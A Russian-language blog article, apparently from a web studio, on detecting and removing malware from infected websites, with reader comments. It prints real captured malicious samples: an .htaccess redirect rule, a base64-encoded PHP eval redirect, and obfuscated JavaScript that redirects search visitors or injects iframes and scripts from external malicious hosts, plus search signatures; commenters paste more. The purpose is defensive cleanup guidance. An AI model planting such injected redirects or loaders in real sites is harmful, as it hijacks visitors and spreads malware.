Сайт заражен вирусом — что делать?
В ходе нашей работы над сайтами клиентов, приходится сталкиваться с различного вида зараженными сайтами и лечить их от вирусов.Обычно вирусы подставляют на сайт клиента редирект на другой сайт и порой могут быт устроены достаточно хитрым образом. К примеру редирект с зараженного сайта может происходить только для мобильных систем или же редирект с сайта пользователей с поисковых систем.
Если же зайти на сайт напрямую, он будет работать отлично, сделано это специально для того, чтобы владелец сайта как можно дольше не замечал вируса на своем сайте. Последствия продолжительного нахождения вируса на сайте могут быть весьма плачевными вплоть до получения бана со стороны поисковых систем, проблема конечно решаема, но на снятие бана нужны месяцы.
Наиболее часто подвергаются взлому сайты на cms системе Joomla 1.5, так что рекомендуем веб-мастерам переводить свои сайты на более новые версии 2.5 и 3. При заражении сайта вирусом, не обязательно должен быть взломан сам сайт, встречаются случаи, что заражая 1 сайт на аккаунте хостинга, автоматически заражаются все сайты на аккаунте, так что при поиске вируса и вредоносного кода стоит обратить внимание на все сайты аккаунты.
В данной статье я расскажу о необходимых действиях, которые необходимо выполнить, если ваш сайт был заражен. Оговорюсь заранее, что статья будет полезна больше веб-мастерам, если вы не хотите заморачиваться с изучением кода сайта и не умеете этого делать, но ваш сайт заражен. Лучше сразу обращайтесь к нам =) и мы вам поможем без лишних напряжений с вашей стороны.
Первое, что необходимо сделать, когда вы увидели, что ваш сайт заражен вирусом, это сменить все пароли от MYSQL, FTP, администраторских панелей на сайте, хостинг панели и также проверить все допустимые FTP аккаунты для хостинга. Далее же следует искать сам вредоносный код на сайте. Некоторые советуют скачивать бекап себе на сайт и делать поиск по файлам, но данный процесс может быть достаточно трудоемким. Для облегчения поиска внутри файлов сайта, выкладываю скрипт поиска и замены внутри файлов по сайту.
Закидываем скрипт в корневую папку вашего сайта и не забываем внутри файла replace.php сменить пароль на свой. Запустить скрипт можно обратившись к нему напрямую с паролем — http://mysite.ru/replace.php?pas=вашпароль
При поиске вредоносного кода стоит отметить характер перенаправлений.
В первую очередь стоит проверить файл .htaccess на наличие сторонних редиректов.
1 2 3 4 5 6 7 | RewriteEngine on RewriteCond %{HTTP_USER_AGENT} acs [NC,OR] RewriteCond %{HTTP_USER_AGENT} alav [NC,OR] /*Тут может быть большой список проверки юзер агентов*/ RewriteCond %{HTTP_USER_AGENT} !webmoney [NC] RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC] RewriteRule ^(.*)$ http://operabwo.ru [L,R=302] |
Если же с .htaccess все в порядке то заражены могу оказаться файлы .php и .js
В php конструкции необходимо выполнить поиск для следующего совпадения:
1 | eval(base64_decode |
С вариантами пробелов между ковычками. Сама по себе функция base64_decode безопасна, но с использованием eval() делает код уязвимым. Одним из популярных шелов на сайт заливают FilesMan — попробуйте поискать в том числе и его.
Пример одного из найденных вирусов
1 | eval(base64_decodeDQoNCg0KZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwidHdpdHRlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29vZ2xlIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInlhbmRleC5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJtYWlsLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwiYXNrLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm1zbiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vayIpKSB7DQoJaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsJCQ0KCQloZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ29vb29nbGUub3NhLnBsLyIpOw0KCQlleGl0KCk7DQoJfQ0KfQ0KfQ)); |
Для случаев, когда перенаправление пользователей происходит при переходе с поисковых систем, обычно используется javascript virus проверяющий referrer пользователя и делающий редирект
1 2 3 4 5 6 7 8 9 10 11 | var refarray = new Array(); refarray["google."] = "1"; refarray["bing."] = "2"; refarray["yandex."] = "3"; refarray["rambler."] = "4"; refarray["mail."] = "5" for (var i in refarray) { // if (document.referrer.indexOf(i) != -1) document.location.replace(unescape('%68%74%74%70%3A%2F%2F%76%69%63%63%72%61%76%65%6E%2E%63%6F%2E%75%6B%2F%69%6D%61%67%65%73%2F%2E%62%61%63%6B%75%70%2F%64%6F%62%72%6F%2E%68%74%6D%6C')); } |
Для выявления подобного скрипта стоит искать в файлах строки с содержанием проверки if (document.referrer ( не забываем использовать варианты с пробелами в скобках.
Также с помощью javascript могут добавлять ифреймы и другие баннеры на сайт
пример
1 | document.write('<iframe style="position:fixed;top:0px;left:-550px;" src="вредоносныйсайт" height="500" width="500"></iframe>'); |
Добавлять html на страницу через js могут и в не явном виде. Еще один пример js ифрейма
1 | document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%72%73%6F%66%74%65%63%68%2E%69%6E%2F%73%79%73%74%65%6D%2F%66%6F%6E%74%73%2F%2E%74%74%66%2F%66%6F%6E%74%2E%6A%73%20%74%79%70%65%3D%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%3E%3C%2F%73%63%72%69%70%74%3E')); |
Вот еще распространенный код подключаемого внешнего файла js
1 | <script src=http://brsoftech.in/system/fonts/.ttf/font.js type=text/javascript></script> |
Данный скрипт легко найти, просмотрев часть html кода страницы и выполнив поиск по содержимому файлов с частью html кода ифрейма или баннера.
Надеюсь данная информация будет полезна для веб мастеров. Если же вы не хотите осваивать подобные премудрости поиска вирусов на сайте, вы всегда можете обратиться к нам и мы поможем вам избавиться от вредоносного кода и устранить уязвимости на сайте.
UPD 03.02.2013
Чуть исправил файл replace.php для «лучшего понимания»
Комментарии
17.01.2013 в 22:09
Сегодня обнаружил у себя на одном сайте код типа этого document.write(»);
. Нашел его в 199 файлах .js
18.01.2013 в 10:12
var refarray = new Array();
refarray["google."] = "1";
refarray["bing."] = "2";
refarray["yandex."] = "3";
refarray["rambler."] = "4";
refarray["mail."] = "5"
for (var i in refarray) {
if (document.referrer.indexOf(i) != -1) document.write(unescape('%3C%73%74%79%6C%65%3E%0A%42%4F%44%59%20%7B%6F%76%65%72%66%6C%6F%77%3A%20%68%69%64%64%65%6E%7D%0A%3C%2F%73%74%79%6C%65%3E%0A%3C%69%66%72%61%6D%65%20%73%74%79%6C%65%3D%22%7A%2D%69%6E%64%65%78%3A%32%31%34%37%34%38%33%36%34%37%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%68%65%69%67%68%74%3A%31%30%30%25%3B%77%69%64%74%68%3A%31%30%30%25%3B%6C%65%66%74%3A%30%70%78%3B%74%6F%70%3A%30%70%78%3B%62%6F%72%64%65%72%3A%30%70%78%3B%22%20%77%69%64%74%68%3D%22%31%30%30%25%22%20%68%65%69%67%68%74%3D%22%31%30%30%25%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%6F%72%62%69%65%2E%63%61%2F%62%6F%75%74%69%71%75%65%2F%77%70%2D%63%6F%6E%74%65%6E%74%2F%74%68%65%6D%65%73%2F%63%6C%61%73%73%69%63%2F%2E%62%61%63%6B%75%70%2F%2E%64%6F%62%72%6F%2E%68%74%6D%6C%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%3E%3C%2F%69%66%72%61%6D%65%3E'));
}
document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%4A%61%76%61%53%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%67%6F%6F%64%6D%6F%6F%64%2E%64%79%6E%64%6E%73%2E%62%69%7A%2F%69%6E%66%6F%62%2E%70%68%70%3F%69%3D%32%32%35%31%36%3E%3C%2F%73%63%72%69%70%74%3E'));
вот такая фигня на сайте, не могу найти где лежит с replace.php не разобрался, куда и какой пароль вставлять?
18.01.2013 в 17:11
replace.php необходимо разместить в корне сайта или папки которую будете сканировать.
В самом файле replace
[cce lang=php]if(md5($_GET[‘pas’]) != ‘226776f356d7ecf58b60bab12a05d38f’)[/cce]
Вам необходимо вставить свой MD5 пароль можете заменить на более понятную строку для вас
[cce lang=php]if($_GET[‘pas’] != ‘youpass’)[/cce]
Далее следует обратится
к файлу так — http://вашсайт.ру/replace.php?pas=youpass
30.01.2013 в 23:22
Такая же фигня. Даже ссылка после расшифровки ведёт туда же.
orbie.ca/boutique/wp-content/themes/classic/.backup/.dobro.html
У вас не получилось избавиться от этой хрени?
31.01.2013 в 00:03
Нашёл. В конце файлов index.php в корне сайта такой код:
eval(base64_decode(«JHVybHMgPSBhcnJheSgnaHR0cDovL2Jyc29mdGVja…. и так далее
01.02.2013 в 15:16
Рад, что моя статья оказалось полезной.
18.01.2013 в 10:15
может ли быть этот код вирусным
function(e){e=e.split("=");c=c||{};c[unescape(e[0])]=unescape(e[1])})}return c},setHash:function(j,b,g,f,i,c){var h="";a(b,function(e,d){h+=(!h?"":"&")+escape(d)+"="+escape(e)});this.set(j,h,g,f,i,c)},get:function(i){var h=document.cookie,g,f=i+"=",d;if(!h){return}d=h.indexOf("; "+f);if(d==-1){d=h.indexOf(f);if(d!=0){return null}}else{d+=2}g=h.indexOf(";",d);if(g==-1){g=h.length}return
18.01.2013 в 17:12
Данный код не является вредоносным
02.02.2013 в 17:06
Какой пароль нужно вставлять, пишет доступ запрещен
02.02.2013 в 19:07
Вам необходимо придумать свой пароль и вставить как показано выше в комментариях или в статье.
24.04.2013 в 22:23
спасибо, друг. всю ночь выбивал этот чертов код. Он, оказывается, уже день сидел, пока я на работе был
22.11.2013 в 03:48
Здравствуйте, уже несколько месяцев как не могу найти корень зла на сайте, пишет вышеупомянутую ошибку (аваст антивирус) «brsoftech.in/system/fonts/.ttf/font.jsjs:iframe-axm []» а поиск по данным критериям не дает никакой информации, интуиция подсказывает что где то widgetkite но не могу найти где. Покоя не дает =(Может вы встречались с подобной проблемой и знаете как ее исправить?Сайт step-dv.ruВаш скрипт:
22.11.2013 в 17:37
Вы можете обратиться с более подробным описанием проблемы к нам на почту info@webislife.ru и мы рассмотрим ваш случай.
15.02.2014 в 19:27
Добрый день.Не подскажите как лечить ? <script>document.write(«<sc»+»ript src=’http://hppfast.ru/ist.js’></scr»+»ipt>»);</script>
27.03.2014 в 23:00
Добрый день, попробуйте для начала описанные выше в статье методы. Лечение самой уязвимости зависит от CMS сайта и других факторов.